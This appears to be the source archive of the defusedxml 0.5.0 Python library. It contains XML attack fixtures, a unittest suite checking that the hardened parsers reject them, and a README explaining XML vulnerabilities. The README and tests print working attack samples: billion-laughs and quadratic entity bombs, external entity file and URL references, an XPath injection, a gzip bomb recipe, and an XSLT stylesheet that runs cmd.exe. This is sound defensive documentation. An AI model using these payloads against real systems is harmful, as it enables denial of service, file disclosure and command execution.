defusedxml-0.5.0/0000775000175000017500000000000013047075227014433 5ustar heimesheimes00000000000000defusedxml-0.5.0/xmltestdata/0000775000175000017500000000000013047075227016765 5ustar heimesheimes00000000000000defusedxml-0.5.0/xmltestdata/quadratic.xml0000664000175000017500000031121212757100071021455 0ustar heimesheimes00000000000000 ]> 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defusedxml-0.5.0/xmltestdata/external_file.xml0000664000175000017500000000015012757100071022315 0ustar heimesheimes00000000000000 ]> ⅇ defusedxml-0.5.0/xmltestdata/xmlbomb2.xml0000664000175000017500000000013012757100071021214 0ustar heimesheimes00000000000000 ]> text&a; defusedxml-0.5.0/xmltestdata/cyclic.xml0000664000175000017500000000012112757100071020740 0ustar heimesheimes00000000000000 ]> &a; defusedxml-0.5.0/xmltestdata/external.xml0000664000175000017500000000014612757100071021323 0ustar heimesheimes00000000000000 ]> ⅇ defusedxml-0.5.0/xmltestdata/simple-ns.xml0000664000175000017500000000023012757100071021402 0ustar heimesheimes00000000000000 text texttail defusedxml-0.5.0/xmltestdata/xmlbomb.xml0000664000175000017500000000026712757100071021145 0ustar heimesheimes00000000000000 ]> &c; defusedxml-0.5.0/xmltestdata/simple.xml0000664000175000017500000000017212757100071020771 0ustar heimesheimes00000000000000 text texttail defusedxml-0.5.0/xmltestdata/dtd.xml0000664000175000017500000000032512757100071020253 0ustar heimesheimes00000000000000 text defusedxml-0.5.0/tests.py0000664000175000017500000004163713043120735016151 0ustar heimesheimes00000000000000from __future__ import print_function import os import sys import unittest import io from xml.sax.saxutils import XMLGenerator from xml.sax import SAXParseException from pyexpat import ExpatError from defusedxml import cElementTree, ElementTree, minidom, pulldom, sax, xmlrpc from defusedxml import defuse_stdlib from defusedxml import (DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError) from defusedxml.common import PY3 try: import gzip except ImportError: gzip = None try: from defusedxml import lxml from lxml.etree import XMLSyntaxError LXML3 = lxml.LXML3 except ImportError: lxml = None XMLSyntaxError = None LXML3 = False HERE = os.path.dirname(os.path.abspath(__file__)) # prevent web access # based on Debian's rules, Port 9 is discard os.environ["http_proxy"] = "http://127.0.9.1:9" os.environ["https_proxy"] = os.environ["http_proxy"] os.environ["ftp_proxy"] = os.environ["http_proxy"] class DefusedTestCase(unittest.TestCase): if PY3: content_binary = False else: content_binary = True xml_dtd = os.path.join(HERE, "xmltestdata", "dtd.xml") xml_external = os.path.join(HERE, "xmltestdata", "external.xml") xml_external_file = os.path.join(HERE, "xmltestdata", "external_file.xml") xml_quadratic = os.path.join(HERE, "xmltestdata", "quadratic.xml") xml_simple = os.path.join(HERE, "xmltestdata", "simple.xml") xml_simple_ns = os.path.join(HERE, "xmltestdata", "simple-ns.xml") xml_bomb = os.path.join(HERE, "xmltestdata", "xmlbomb.xml") xml_bomb2 = os.path.join(HERE, "xmltestdata", "xmlbomb2.xml") xml_cyclic = os.path.join(HERE, "xmltestdata", "cyclic.xml") def get_content(self, xmlfile): mode = "rb" if self.content_binary else "r" with io.open(xmlfile, mode) as f: data = f.read() return data class BaseTests(DefusedTestCase): module = None dtd_external_ref = False external_ref_exception = ExternalReferenceForbidden cyclic_error = None iterparse = None def test_simple_parse(self): self.parse(self.xml_simple) self.parseString(self.get_content(self.xml_simple)) if self.iterparse: self.iterparse(self.xml_simple) def test_simple_parse_ns(self): self.parse(self.xml_simple_ns) self.parseString(self.get_content(self.xml_simple_ns)) if self.iterparse: self.iterparse(self.xml_simple_ns) def test_entities_forbidden(self): self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb) self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic) self.assertRaises(EntitiesForbidden, self.parse, self.xml_external) self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_bomb)) self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_quadratic)) self.assertRaises(EntitiesForbidden, self.parseString, self.get_content(self.xml_external)) if self.iterparse: self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_bomb) self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_quadratic) self.assertRaises(EntitiesForbidden, self.iterparse, self.xml_external) def test_entity_cycle(self): self.assertRaises(self.cyclic_error, self.parse, self.xml_cyclic, forbid_entities=False) def test_dtd_forbidden(self): self.assertRaises(DTDForbidden, self.parse, self.xml_bomb, forbid_dtd=True) self.assertRaises(DTDForbidden, self.parse, self.xml_quadratic, forbid_dtd=True) self.assertRaises(DTDForbidden, self.parse, self.xml_external, forbid_dtd=True) self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True) self.assertRaises(DTDForbidden, self.parseString, self.get_content(self.xml_bomb), forbid_dtd=True) self.assertRaises(DTDForbidden, self.parseString, self.get_content(self.xml_quadratic), forbid_dtd=True) self.assertRaises(DTDForbidden, self.parseString, self.get_content(self.xml_external), forbid_dtd=True) self.assertRaises(DTDForbidden, self.parseString, self.get_content(self.xml_dtd), forbid_dtd=True) if self.iterparse: self.assertRaises(DTDForbidden, self.iterparse, self.xml_bomb, forbid_dtd=True) self.assertRaises(DTDForbidden, self.iterparse, self.xml_quadratic, forbid_dtd=True) self.assertRaises(DTDForbidden, self.iterparse, self.xml_external, forbid_dtd=True) self.assertRaises(DTDForbidden, self.iterparse, self.xml_dtd, forbid_dtd=True) def test_dtd_with_external_ref(self): if self.dtd_external_ref: self.assertRaises(self.external_ref_exception, self.parse, self.xml_dtd) else: self.parse(self.xml_dtd) def test_external_ref(self): self.assertRaises(self.external_ref_exception, self.parse, self.xml_external, forbid_entities=False) def test_external_file_ref(self): content = self.get_content(self.xml_external_file) if isinstance(content, bytes): here = HERE.encode(sys.getfilesystemencoding()) content = content.replace(b"/PATH/TO", here) else: content = content.replace("/PATH/TO", HERE) self.assertRaises(self.external_ref_exception, self.parseString, content, forbid_entities=False) def test_allow_expansion(self): self.parse(self.xml_bomb2, forbid_entities=False) self.parseString(self.get_content(self.xml_bomb2), forbid_entities=False) class TestDefusedElementTree(BaseTests): module = ElementTree # etree doesn't do external ref lookup # external_ref_exception = ElementTree.ParseError cyclic_error = ElementTree.ParseError def parse(self, xmlfile, **kwargs): tree = self.module.parse(xmlfile, **kwargs) return self.module.tostring(tree.getroot()) def parseString(self, xmlstring, **kwargs): tree = self.module.fromstring(xmlstring, **kwargs) return self.module.tostring(tree) def iterparse(self, source, **kwargs): return list(self.module.iterparse(source, **kwargs)) class TestDefusedcElementTree(TestDefusedElementTree): module = cElementTree class TestDefusedMinidom(BaseTests): module = minidom cyclic_error = ExpatError iterparse = None def parse(self, xmlfile, **kwargs): doc = self.module.parse(xmlfile, **kwargs) return doc.toxml() def parseString(self, xmlstring, **kwargs): doc = self.module.parseString(xmlstring, **kwargs) return doc.toxml() class TestDefusedPulldom(BaseTests): module = pulldom cyclic_error = SAXParseException dtd_external_ref = True def parse(self, xmlfile, **kwargs): events = self.module.parse(xmlfile, **kwargs) return list(events) def parseString(self, xmlstring, **kwargs): events = self.module.parseString(xmlstring, **kwargs) return list(events) class TestDefusedSax(BaseTests): module = sax cyclic_error = SAXParseException content_binary = True dtd_external_ref = True def parse(self, xmlfile, **kwargs): if PY3: result = io.StringIO() else: result = io.BytesIO() handler = XMLGenerator(result) self.module.parse(xmlfile, handler, **kwargs) return result.getvalue() def parseString(self, xmlstring, **kwargs): if PY3: result = io.StringIO() else: result = io.BytesIO() handler = XMLGenerator(result) self.module.parseString(xmlstring, handler, **kwargs) return result.getvalue() def test_exceptions(self): with self.assertRaises(EntitiesForbidden) as ctx: self.parse(self.xml_bomb) msg = "EntitiesForbidden(name='a', system_id=None, public_id=None)" self.assertEqual(str(ctx.exception), msg) self.assertEqual(repr(ctx.exception), msg) with self.assertRaises(ExternalReferenceForbidden) as ctx: self.parse(self.xml_external, forbid_entities=False) msg = ("ExternalReferenceForbidden" "(system_id='http://www.w3schools.com/xml/note.xml', public_id=None)") self.assertEqual(str(ctx.exception), msg) self.assertEqual(repr(ctx.exception), msg) with self.assertRaises(DTDForbidden) as ctx: self.parse(self.xml_bomb, forbid_dtd=True) msg = "DTDForbidden(name='xmlbomb', system_id=None, public_id=None)" self.assertEqual(str(ctx.exception), msg) self.assertEqual(repr(ctx.exception), msg) class TestDefusedLxml(BaseTests): module = lxml cyclic_error = XMLSyntaxError content_binary = True def parse(self, xmlfile, **kwargs): try: tree = self.module.parse(xmlfile, **kwargs) except XMLSyntaxError: self.skipTest("lxml detects entityt reference loop") return self.module.tostring(tree) def parseString(self, xmlstring, **kwargs): try: tree = self.module.fromstring(xmlstring, **kwargs) except XMLSyntaxError: self.skipTest("lxml detects entityt reference loop") return self.module.tostring(tree) if not LXML3: def test_entities_forbidden(self): self.assertRaises(NotSupportedError, self.parse, self.xml_bomb) def test_dtd_with_external_ref(self): self.assertRaises(NotSupportedError, self.parse, self.xml_dtd) def test_external_ref(self): pass def test_external_file_ref(self): pass def test_restricted_element1(self): try: tree = self.module.parse(self.xml_bomb, forbid_dtd=False, forbid_entities=False) except XMLSyntaxError: self.skipTest("lxml detects entityt reference loop") root = tree.getroot() self.assertEqual(root.text, None) self.assertEqual(list(root), []) self.assertEqual(root.getchildren(), []) self.assertEqual(list(root.iter()), [root]) self.assertEqual(list(root.iterchildren()), []) self.assertEqual(list(root.iterdescendants()), []) self.assertEqual(list(root.itersiblings()), []) self.assertEqual(list(root.getiterator()), [root]) self.assertEqual(root.getnext(), None) def test_restricted_element2(self): try: tree = self.module.parse(self.xml_bomb2, forbid_dtd=False, forbid_entities=False) except XMLSyntaxError: self.skipTest("lxml detects entityt reference loop") root = tree.getroot() bomb, tag = root self.assertEqual(root.text, "text") self.assertEqual(list(root), [bomb, tag]) self.assertEqual(root.getchildren(), [bomb, tag]) self.assertEqual(list(root.iter()), [root, bomb, tag]) self.assertEqual(list(root.iterchildren()), [bomb, tag]) self.assertEqual(list(root.iterdescendants()), [bomb, tag]) self.assertEqual(list(root.itersiblings()), []) self.assertEqual(list(root.getiterator()), [root, bomb, tag]) self.assertEqual(root.getnext(), None) self.assertEqual(root.getprevious(), None) self.assertEqual(list(bomb.itersiblings()), [tag]) self.assertEqual(bomb.getnext(), tag) self.assertEqual(bomb.getprevious(), None) self.assertEqual(tag.getnext(), None) self.assertEqual(tag.getprevious(), bomb) def test_xpath_injection(self): # show XPath injection vulnerability xml = """""" expr = "one' or @id='two" root = lxml.fromstring(xml) # insecure way xp = "tag[@id='%s']" % expr elements = root.xpath(xp) self.assertEqual(len(elements), 2) self.assertEqual(elements, list(root)) # proper and safe way xp = "tag[@id=$idname]" elements = root.xpath(xp, idname=expr) self.assertEqual(len(elements), 0) self.assertEqual(elements, []) elements = root.xpath(xp, idname="one") self.assertEqual(len(elements), 1) self.assertEqual(elements, list(root)[:1]) class XmlRpcTarget(object): def __init__(self): self._data = [] def __str__(self): return "".join(self._data) def xml(self, encoding, standalone): pass def start(self, tag, attrs): self._data.append("<%s>" % tag) def data(self, text): self._data.append(text) def end(self, tag): self._data.append("" % tag) class TestXmlRpc(DefusedTestCase): module = xmlrpc def parse(self, xmlfile, **kwargs): target = XmlRpcTarget() parser = self.module.DefusedExpatParser(target, **kwargs) data = self.get_content(xmlfile) parser.feed(data) parser.close() return target def parse_unpatched(self, xmlfile): target = XmlRpcTarget() parser = self.module.ExpatParser(target) data = self.get_content(xmlfile) parser.feed(data) parser.close() return target def test_xmlrpc(self): self.assertRaises(EntitiesForbidden, self.parse, self.xml_bomb) self.assertRaises(EntitiesForbidden, self.parse, self.xml_quadratic) self.parse(self.xml_dtd) self.assertRaises(DTDForbidden, self.parse, self.xml_dtd, forbid_dtd=True) # def test_xmlrpc_unpatched(self): # for fname in (self.xml_external, self.xml_dtd): # print(self.parse_unpatched(fname)) def test_monkeypatch(self): try: xmlrpc.monkey_patch() finally: xmlrpc.unmonkey_patch() class TestDefusedGzip(DefusedTestCase): def get_gzipped(self, length): f = io.BytesIO() gzf = gzip.GzipFile(mode="wb", fileobj=f) gzf.write(b"d" * length) gzf.close() f.seek(0) return f def decode_response(self, response, limit=None, readlength=1024): dec = xmlrpc.DefusedGzipDecodedResponse(response, limit) acc = [] while True: data = dec.read(readlength) if not data: break acc.append(data) return b"".join(acc) def test_defused_gzip_decode(self): data = self.get_gzipped(4096).getvalue() result = xmlrpc.defused_gzip_decode(data) self.assertEqual(result, b"d" * 4096) result = xmlrpc.defused_gzip_decode(data, -1) self.assertEqual(result, b"d" * 4096) result = xmlrpc.defused_gzip_decode(data, 4096) self.assertEqual(result, b"d" * 4096) with self.assertRaises(ValueError): result = xmlrpc.defused_gzip_decode(data, 4095) with self.assertRaises(ValueError): result = xmlrpc.defused_gzip_decode(data, 0) def test_defused_gzip_response(self): clen = len(self.get_gzipped(4096).getvalue()) response = self.get_gzipped(4096) data = self.decode_response(response) self.assertEqual(data, b"d" * 4096) with self.assertRaises(ValueError): response = self.get_gzipped(4096) xmlrpc.DefusedGzipDecodedResponse(response, clen - 1) with self.assertRaises(ValueError): response = self.get_gzipped(4096) self.decode_response(response, 4095) with self.assertRaises(ValueError): response = self.get_gzipped(4096) self.decode_response(response, 4095, 8192) def test_main(): suite = unittest.TestSuite() suite.addTests(unittest.makeSuite(TestDefusedcElementTree)) suite.addTests(unittest.makeSuite(TestDefusedElementTree)) suite.addTests(unittest.makeSuite(TestDefusedMinidom)) suite.addTests(unittest.makeSuite(TestDefusedPulldom)) suite.addTests(unittest.makeSuite(TestDefusedSax)) suite.addTests(unittest.makeSuite(TestXmlRpc)) if lxml is not None: suite.addTests(unittest.makeSuite(TestDefusedLxml)) if gzip is not None: suite.addTests(unittest.makeSuite(TestDefusedGzip)) return suite if __name__ == "__main__": suite = test_main() result = unittest.TextTestRunner(verbosity=1).run(suite) # TODO: test that it actually works defuse_stdlib() sys.exit(not result.wasSuccessful()) defusedxml-0.5.0/README.html0000664000175000017500000014423013043121043016242 0ustar heimesheimes00000000000000 defusedxml -- defusing XML bombs and other exploits

defusedxml -- defusing XML bombs and other exploits

"It's just XML, what could probably go wrong?"

Christian Heimes <christian@python.org>

Synopsis

The results of an attack on a vulnerable XML library can be fairly dramatic. With just a few hundred Bytes of XML data an attacker can occupy several Gigabytes of memory within seconds. An attacker can also keep CPUs busy for a long time with a small to medium size request. Under some circumstances it is even possible to access local files on your server, to circumvent a firewall, or to abuse services to rebound attacks to third parties.

The attacks use and abuse less common features of XML and its parsers. The majority of developers are unacquainted with features such as processing instructions and entity expansions that XML inherited from SGML. At best they know about <!DOCTYPE> from experience with HTML but they are not aware that a document type definition (DTD) can generate an HTTP request or load a file from the file system.

None of the issues is new. They have been known for a long time. Billion laughs was first reported in 2003. Nevertheless some XML libraries and applications are still vulnerable and even heavy users of XML are surprised by these features. It's hard to say whom to blame for the situation. It's too short sighted to shift all blame on XML parsers and XML libraries for using insecure default settings. After all they properly implement XML specifications. Application developers must not rely that a library is always configured for security and potential harmful data by default.

Attack vectors

billion laughs / exponential entity expansion

The Billion Laughs attack -- also known as exponential entity expansion -- uses multiple levels of nested entities. The original example uses 9 levels of 10 expansions in each level to expand the string lol to a string of 3 * 10 9 bytes, hence the name "billion laughs". The resulting string occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional memory. Because most parsers don't cache the intermediate step for every expansion it is repeated over and over again. It increases the CPU load even more.

An XML document of just a few hundred bytes can disrupt all services on a machine within seconds.

Example XML:

<!DOCTYPE xmlbomb [
<!ENTITY a "1234567890" >
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<bomb>&d;</bomb>

quadratic blowup entity expansion

A quadratic blowup attack is similar to a Billion Laughs attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering countermeasures of parsers against heavily nested entities. Some parsers limit the depth and breadth of a single entity but not the total amount of expanded text throughout an entire XML document.

A medium-sized XML document with a couple of hundred kilobytes can require a couple of hundred MB to several GB of memory. When the attack is combined with some level of nested expansion an attacker is able to achieve a higher ratio of success.

<!DOCTYPE bomb [
<!ENTITY a "xxxxxxx... a couple of ten thousand chars">
]>
<bomb>&a;&a;&a;... repeat</bomb>

external entity expansion (remote)

Entity declarations can contain more than just text for replacement. They can also point to external resources by public identifiers or system identifiers. System identifiers are standard URIs. When the URI is a URL (e.g. a http:// locator) some parsers download the resource from the remote location and embed them into the XML document verbatim.

Simple example of a parsed external entity:

<!DOCTYPE external [
<!ENTITY ee SYSTEM "http://www.python.org/some.xml">
]>
<root>&ee;</root>

The case of parsed external entities works only for valid XML content. The XML standard also supports unparsed external entities with a NData declaration.

External entity expansion opens the door to plenty of exploits. An attacker can abuse a vulnerable XML library and application to rebound and forward network requests with the IP address of the server. It highly depends on the parser and the application what kind of exploit is possible. For example:

  • An attacker can circumvent firewalls and gain access to restricted resources as all the requests are made from an internal and trustworthy IP address, not from the outside.
  • An attacker can abuse a service to attack, spy on or DoS your servers but also third party services. The attack is disguised with the IP address of the server and the attacker is able to utilize the high bandwidth of a big machine.
  • An attacker can exhaust additional resources on the machine, e.g. with requests to a service that doesn't respond or responds with very large files.
  • An attacker may gain knowledge, when, how often and from which IP address a XML document is accessed.
  • An attacker could send mail from inside your network if the URL handler supports smtp:// URIs.

external entity expansion (local file)

External entities with references to local files are a sub-case of external entity expansion. It's listed as an extra attack because it deserves extra attention. Some XML libraries such as lxml disable network access by default but still allow entity expansion with local file access by default. Local files are either referenced with a file:// URL or by a file path (either relative or absolute).

An attacker may be able to access and download all files that can be read by the application process. This may include critical configuration files, too.

<!DOCTYPE external [
<!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
]>
<root>&ee;</root>

DTD retrieval

This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
    <head/>
    <body>text</body>
</html>

Python XML Libraries

vulnerabilities and features
kind sax etree minidom pulldom xmlrpc lxml genshi
billion laughs True True True True True False (1) False (5)
quadratic blowup True True True True True True False (5)
external entity expansion (remote) True False (3) False (4) True false False (1) False (5)
external entity expansion (local file) True False (3) False (4) True false True False (5)
DTD retrieval True False False True false False (1) False
gzip bomb False False False False True partly (2) False
xpath support (7) False False False False False True False
xsl(t) support (7) False False False False False True False
xinclude support (7) False True (6) False False False True (6) True
C library expat expat expat expat expat libxml2 expat
  1. Lxml is protected against billion laughs attacks and doesn't do network lookups by default.
  2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs but they don't protect you against them either.
  3. xml.etree doesn't expand entities and raises a ParserError when an entity occurs.
  4. minidom doesn't expand entities and simply returns the unexpanded entity verbatim.
  5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a ParserError when an entity occurs.
  6. Library has (limited) XInclude support but requires an additional step to process inclusion.
  7. These are features but they may introduce exploitable holes, see Other things to consider

Settings in standard library

xml.sax.handler Features

feature_external_ges (http://xml.org/sax/features/external-general-entities)
disables external entity expansion
feature_external_pes (http://xml.org/sax/features/external-parameter-entities)
the option is ignored and doesn't modify any functionality

DOM xml.dom.xmlbuilder.Options

external_parameter_entities
ignored
external_general_entities
ignored
external_dtd_subset
ignored
entities
unsure

defusedxml

The defusedxml package (defusedxml on PyPI) contains several Python-only workarounds and fixes for denial of service and other vulnerabilities in Python's XML libraries. In order to benefit from the protection you just have to import and use the listed functions / classes from the right defusedxml module instead of the original module. Merely defusedxml.xmlrpc is implemented as monkey patch.

Instead of:

>>> from xml.etree.ElementTree import parse
>>> et = parse(xmlfile)

alter code to:

>>> from defusedxml.ElementTree import parse
>>> et = parse(xmlfile)

Additionally the package has an untested function to monkey patch all stdlib modules with defusedxml.defuse_stdlib().

All functions and parser classes accept three additional keyword arguments. They return either the same objects as the original functions or compatible subclasses.

forbid_dtd (default: False)
disallow XML with a <!DOCTYPE> processing instruction and raise a DTDForbidden exception when a DTD processing instruction is found.
forbid_entities (default: True)
disallow XML with <!ENTITY> declarations inside the DTD and raise an EntitiesForbidden exception when an entity is declared.
forbid_external (default: True)
disallow any access to remote or local resources in external entities or DTD and raising an ExternalReferenceForbidden exception when a DTD or entity references an external resource.

defusedxml (package)

DefusedXmlException, DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden, NotSupportedError

defuse_stdlib() (experimental)

defusedxml.cElementTree

parse(), iterparse(), fromstring(), XMLParser

defusedxml.ElementTree

parse(), iterparse(), fromstring(), XMLParser

defusedxml.expatreader

create_parser(), DefusedExpatParser

defusedxml.sax

parse(), parseString(), create_parser()

defusedxml.expatbuilder

parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS

defusedxml.minidom

parse(), parseString()

defusedxml.pulldom

parse(), parseString()

defusedxml.xmlrpc

The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x) or xmlrpclib module (2.x). The function monkey_patch() enables the fixes, unmonkey_patch() removes the patch and puts the code in its former state.

The monkey patch protects against XML related attacks as well as decompression bombs and excessively large requests or responses. The default setting is 30 MB for requests, responses and gzip decompression. You can modify the default by changing the module variable MAX_DATA. A value of -1 disables the limit.

defusedxml.lxml

The module acts as an example how you could protect code that uses lxml.etree. It implements a custom Element class that filters out Entity instances, a custom parser factory and a thread local storage for parser instances. It also has a check_docinfo() function which inspects a tree for internal or external DTDs and entity declarations. In order to check for entities lxml > 3.0 is required.

parse(), fromstring() RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo()

defusedexpat

The defusedexpat package (defusedexpat on PyPI) comes with binary extensions and a modified expat libary instead of the standard expat parser. It's basically a stand-alone version of the patches for Python's standard library C extensions.

Modifications in expat

new definitions:

XML_BOMB_PROTECTION
XML_DEFAULT_MAX_ENTITY_INDIRECTIONS
XML_DEFAULT_MAX_ENTITY_EXPANSIONS
XML_DEFAULT_RESET_DTD

new XML_FeatureEnum members:

XML_FEATURE_MAX_ENTITY_INDIRECTIONS
XML_FEATURE_MAX_ENTITY_EXPANSIONS
XML_FEATURE_IGNORE_DTD

new XML_Error members:

XML_ERROR_ENTITY_INDIRECTIONS
XML_ERROR_ENTITY_EXPANSION

new API functions:

int XML_GetFeature(XML_Parser parser,
                   enum XML_FeatureEnum feature,
                   long *value);
int XML_SetFeature(XML_Parser parser,
                   enum XML_FeatureEnum feature,
                   long value);
int XML_GetFeatureDefault(enum XML_FeatureEnum feature,
                          long *value);
int XML_SetFeatureDefault(enum XML_FeatureEnum feature,
                          long value);
XML_FEATURE_MAX_ENTITY_INDIRECTIONS

Limit the amount of indirections that are allowed to occur during the expansion of a nested entity. A counter starts when an entity reference is encountered. It resets after the entity is fully expanded. The limit protects the parser against exponential entity expansion attacks (aka billion laughs attack). When the limit is exceeded the parser stops and fails with XML_ERROR_ENTITY_INDIRECTIONS. A value of 0 disables the protection.

Supported range
0 .. UINT_MAX
Default
40
XML_FEATURE_MAX_ENTITY_EXPANSIONS

Limit the total length of all entity expansions throughout the entire document. The lengths of all entities are accumulated in a parser variable. The setting protects against quadratic blowup attacks (lots of expansions of a large entity declaration). When the sum of all entities exceeds the limit, the parser stops and fails with XML_ERROR_ENTITY_EXPANSION. A value of 0 disables the protection.

Supported range
0 .. UINT_MAX
Default
8 MiB
XML_FEATURE_RESET_DTD

Reset all DTD information after the <!DOCTYPE> block has been parsed. When the flag is set (default: false) all DTD information after the endDoctypeDeclHandler has been called. The flag can be set inside the endDoctypeDeclHandler. Without DTD information any entity reference in the document body leads to XML_ERROR_UNDEFINED_ENTITY.

Supported range
0, 1
Default
0

How to avoid XML vulnerabilities

Best practices

  • Don't allow DTDs
  • Don't expand entities
  • Don't resolve externals
  • Limit parse depth
  • Limit total input size
  • Limit parse time
  • Favor a SAX or iterparse-like parser for potential large data
  • Validate and properly quote arguments to XSL transformations and XPath queries
  • Don't use XPath expression from untrusted sources
  • Don't apply XSL transformations that come untrusted sources

(based on Brad Hill's Attacking XML Security)

Other things to consider

XML, XML parsers and processing libraries have more features and possible issue that could lead to DoS vulnerabilities or security exploits in applications. I have compiled an incomplete list of theoretical issues that need further research and more attention. The list is deliberately pessimistic and a bit paranoid, too. It contains things that might go wrong under daffy circumstances.

attribute blowup / hash collision attack

XML parsers may use an algorithm with quadratic runtime O(n 2) to handle attributes and namespaces. If it uses hash tables (dictionaries) to store attributes and namespaces the implementation may be vulnerable to hash collision attacks, thus reducing the performance to O(n 2) again. In either case an attacker is able to forge a denial of service attack with an XML document that contains thousands upon thousands of attributes in a single node.

I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.

decompression bomb

The issue of decompression bombs (aka ZIP bomb) apply to all XML libraries that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB, lzma is even better:

$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
 148K zeros.xy

None of Python's standard XML libraries decompress streams except for xmlrpclib. The module is vulnerable <http://bugs.python.org/issue16043> to decompression bombs.

lxml can load and process compressed data through libxml2 transparently. libxml2 can handle even very large blobs of compressed data efficiently without using too much memory. But it doesn't protect applications from decompression bombs. A carefully written SAX or iterparse-like approach can be safe.

Processing Instruction

PI's like:

<?xml-stylesheet type="text/xsl" href="style.xsl"?>

may impose more threats for XML processing. It depends if and how a processor handles processing instructions. The issue of URL retrieval with network or local file access apply to processing instructions, too.

Other DTD features

DTD has more features like <!NOTATION>. I haven't researched how these features may be a security threat.

XPath

XPath statements may introduce DoS vulnerabilities. Code should never execute queries from untrusted sources. An attacker may also be able to create a XML document that makes certain XPath queries costly or resource hungry.

XPath injection attacks

XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page Avoid the dangers of XPath injection list some ramifications of XPath injections.

Python's standard library doesn't have XPath support. Lxml supports parameterized XPath queries which does proper quoting. You just have to use its xpath() method correctly:

# DON'T
>>> tree.xpath("/tag[@id='%s']" % value)

# instead do
>>> tree.xpath("/tag[@id=$tagid]", tagid=name)

XInclude

XML Inclusion is another way to load and include external files:

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="filename.txt" parse="text" />
</root>

This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.

XMLSchema location

A validating XML parser may download schema files from the information in a xsi:schemaLocation attribute.

<ead xmlns="urn:isbn:1-931666-22-9"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd">
</ead>

XSL Transformation

You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.

Example from Attacking XML Security for Xalan-J:

<xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 exclude-result-prefixes= "rt ob">
 <xsl:template match="/">
   <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
   <xsl:variable name="command"
     select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
   <xsl:variable name="commandAsString" select="ob:toString($command)"/>
   <xsl:value-of select="$commandAsString"/>
 </xsl:template>
</xsl:stylesheet>

Other languages / frameworks

Several other programming languages and frameworks are vulnerable as well. A couple of them are affected by the fact that libxml2 up to 2.9.0 has no protection against quadratic blowup attacks. Most of them have potential dangerous default settings for entity expansion and external entities, too.

Perl

Perl's XML::Simple is vulnerable to quadratic entity expansion and external entity expansion (both local and remote).

Ruby

Ruby's REXML document parser is vulnerable to entity expansion attacks (both quadratic and exponential) but it doesn't do external entity expansion by default. In order to counteract entity expansion you have to disable the feature:

REXML::Document.entity_expansion_limit = 0

libxml-ruby and hpricot don't expand entities in their default configuration.

PHP

PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads entites from local and remote resources. The option LIBXML_NONET disables network access but still allows local file access. LIBXML_NOENT seems to have no effect on entity expansion in PHP 5.4.6.

C# / .NET / Mono

Information in XML DoS and Defenses (MSDN) suggest that .NET is vulnerable with its default settings. The article contains code snippets how to create a secure XML reader:

XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

Java

Untested. The documentation of Xerces and its Xerces SecurityMananger sounds like Xerces is also vulnerable to billion laugh attacks with its default settings. It also does entity resolving when an org.xml.sax.EntityResolver is configured. I'm not yet sure about the default setting here.

Java specialists suggest to have a custom builder factory:

DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setXIncludeAware(False);
builderFactory.setExpandEntityReferences(False);
builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
# either
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
# or if you need DTDs
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
